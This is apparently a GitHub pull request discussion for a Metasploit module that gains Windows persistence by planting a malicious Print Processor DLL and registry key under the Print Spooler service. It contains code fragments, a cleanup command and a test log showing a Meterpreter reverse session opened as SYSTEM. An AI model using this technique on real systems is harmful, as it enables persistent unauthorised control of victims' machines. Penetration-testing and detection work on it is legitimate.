Add Windows Print Processor persistence module#21501
Conversation
Adds a new persistence module that registers a malicious Print Processor DLL under the Print Spooler service registry key. The spooler loads the DLL at startup, providing persistence across reboots. Requires SYSTEM privileges. Fixes rapid7#20827
| fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_dll) | ||
| print_good("Payload DLL written to #{payload_pathname}") | ||
|
|
||
| processor_name = datastore['PROCESSOR_NAME'] || Rex::Text.rand_text_alpha(8) |
There was a problem hiding this comment.
this is the right idea, but for the user to get a random string they'd have to unset a required value, which can't happen
|
|
||
| register_options([ | ||
| OptString.new('PAYLOAD_NAME', [true, 'Name of payload file to write. Random string as default.', Rex::Text.rand_text_alpha(8) + '.dll']), | ||
| OptString.new('PROCESSOR_NAME', [true, 'Name of the print processor registry key to create. Random string by default.', Rex::Text.rand_text_alpha(8)]), |
There was a problem hiding this comment.
I believe that putting the rands in here means they only randomize at metasploit load (or maybe module reload). I would leave them as false for required and an empty string. if its not filled in, then get a random string in the code so it randomizes each time the module is run.
Why do we prefer this? lets say you want to run this module across 10 servers on a domain. all 10 would have the same DLL and processor name unless you reload the module between runs. if it were calculated at runtime, then you would have different file names on each host.
There was a problem hiding this comment.
That makes sense, I changed it to this because I saw a change request on another similar persistence module from a contributor, and they were suggesting to use something like this.
But I agree that it makes more sense to set these options to false without standard value.
|
|
||
| restart_spooler if datastore['RESTART_SPOOLER'] | ||
|
|
||
| @clean_up_rc << "execute -f cmd.exe -a '/c net stop spooler && taskkill /F /IM spoolsv.exe && del \"#{payload_pathname}\"' -i -H\n" |
There was a problem hiding this comment.
i would put this on multiple lines to make it easier to read unless its required for them all to hit in very short order
| stop_result = service_stop('Spooler') | ||
| start_result = service_start('Spooler') | ||
|
|
||
| # TODO: Remove this |
| register_options([ | ||
| OptString.new('PAYLOAD_NAME', [true, 'Name of payload file to write. Random string as default.', Rex::Text.rand_text_alpha(8) + '.dll']), | ||
| OptString.new('PROCESSOR_NAME', [true, 'Name of the print processor registry key to create. Random string by default.', Rex::Text.rand_text_alpha(8)]), | ||
| OptBool.new('RESTART_SPOOLER', [true, 'Restart the Print Spooler service to trigger processor loading immediately.', true]) |
There was a problem hiding this comment.
I would default this to false. if you have a shell, you don't want another shell just for the sake of having a shell (there are easier ways to do that). most persistence requires an event like login/reboot, so i think its safe to set this to false.
jheysel-r7
left a comment
There was a problem hiding this comment.
Thanks for the module @M4nu02! A couple comments
Testing with machine reboot
msf exploit(windows/persistence/print_processor) > run
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:5555
msf exploit(windows/persistence/print_processor) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target appears vulnerable to Print Processor persistence
[+] Payload DLL written to C:\Windows\System32\spool\prtprocs\x64\uuiEQOPh.dll
[+] Registry key written
[*] Attempting to restart Spooler service for immediate payload trigger...
[+] Spooler service restarted successfully
[*] Meterpreter-compatible Cleanup RC file: /Users/jheysel/.msf4/logs/persistence/MINION1_20260528.2639/MINION1_20260528.2639.rc
msf exploit(windows/persistence/print_processor) > [*] 172.16.199.130 - Meterpreter session 2 closed. Reason: Died
msf exploit(windows/persistence/print_processor) >
[*] Sending stage (248902 bytes) to 172.16.199.130
[*] Meterpreter session 3 opened (172.16.199.1:5555 -> 172.16.199.130:49676) at 2026-05-28 10:28:41 -0700
msf exploit(windows/persistence/print_processor) > sessions -i -1
[*] Starting interaction with 3...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : MINION1
OS : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : KERBEROS
Logged On Users : 6
Meterpreter : x64/windows
meterpreter > bg
|
|
||
| def target_dir | ||
| base = 'C:\\Windows\\System32\\spool\\prtprocs' | ||
| sysinfo['Architecture'] =~ /64/ ? "#{base}\\x64" : "#{base}\\w32x86" |
There was a problem hiding this comment.
The following should work:
| sysinfo['Architecture'] =~ /64/ ? "#{base}\\x64" : "#{base}\\w32x86" | |
| sysinfo['Architecture'] == ARCH_X64 ? "#{base}\\x64" : "#{base}\\w32x86" |
| end | ||
|
|
||
| def env_key | ||
| sysinfo['Architecture'] =~ /64/ ? 'Windows x64' : 'Windows NT x86' |
There was a problem hiding this comment.
| sysinfo['Architecture'] =~ /64/ ? 'Windows x64' : 'Windows NT x86' | |
| sysinfo['Architecture'] == ARCH_X64 ? 'Windows x64' : 'Windows NT x86' |
| return CheckCode::Safe('SYSTEM privileges are required') unless is_system? | ||
| return CheckCode::Safe("Target directory #{target_dir} does not exist") unless directory?(target_dir) |
There was a problem hiding this comment.
Minor but I think this should be Unknown - if the Spooler service is not found, then the target is safe from being exploited.
| return CheckCode::Safe('SYSTEM privileges are required') unless is_system? | |
| return CheckCode::Safe("Target directory #{target_dir} does not exist") unless directory?(target_dir) | |
| return CheckCode::Unknown('SYSTEM privileges are required') unless is_system? | |
| return CheckCode::Unknown("Target directory #{target_dir} does not exist") unless directory?(target_dir) |
|
|
||
| ### RESTART_SPOOLER | ||
|
|
||
| Whether to restart the Print Spooler service after installing persistence to trigger the payload immediately without waiting for a reboot. Default is `true`. |
There was a problem hiding this comment.
The default is currently set to false - which makes sense, this should be updated
| Whether to restart the Print Spooler service after installing persistence to trigger the payload immediately without waiting for a reboot. Default is `true`. | |
| Whether to restart the Print Spooler service after installing persistence to trigger the payload immediately without waiting for a reboot. Default is `false`. |
| def restart_spooler | ||
| print_status('Attempting to restart Spooler service for immediate payload trigger...') | ||
| stop_result = service_stop('Spooler') | ||
| start_result = service_start('Spooler') |
There was a problem hiding this comment.
When testing the module with RESTART_SPOOLER set to true, the module output said it was restarting the service successfully however it was not triggering the payload successfully.
The payload was triggered when I restarted the machine and logged back in. Was RESTART_SPOOLER working for you?
There was a problem hiding this comment.
Yes, it worked when I tested it, but sometimes it can take few minutes to trigger.
Replace regex architecture checks with ARCH_X64 constant comparison. Return CheckCode::Unknown instead of Safe when preconditions are not met. Fix default value for RESTART_SPOOLER in documentation.
Adds a new persistence module that registers a malicious Print Processor DLL under the Print Spooler service registry key. The spooler loads the DLL at startup, providing persistence across reboots. Requires SYSTEM privileges.
Fixes #20827
Verification
msfconsoleuse exploit/windows/persistence/print_processorset SESSION [SESSION]run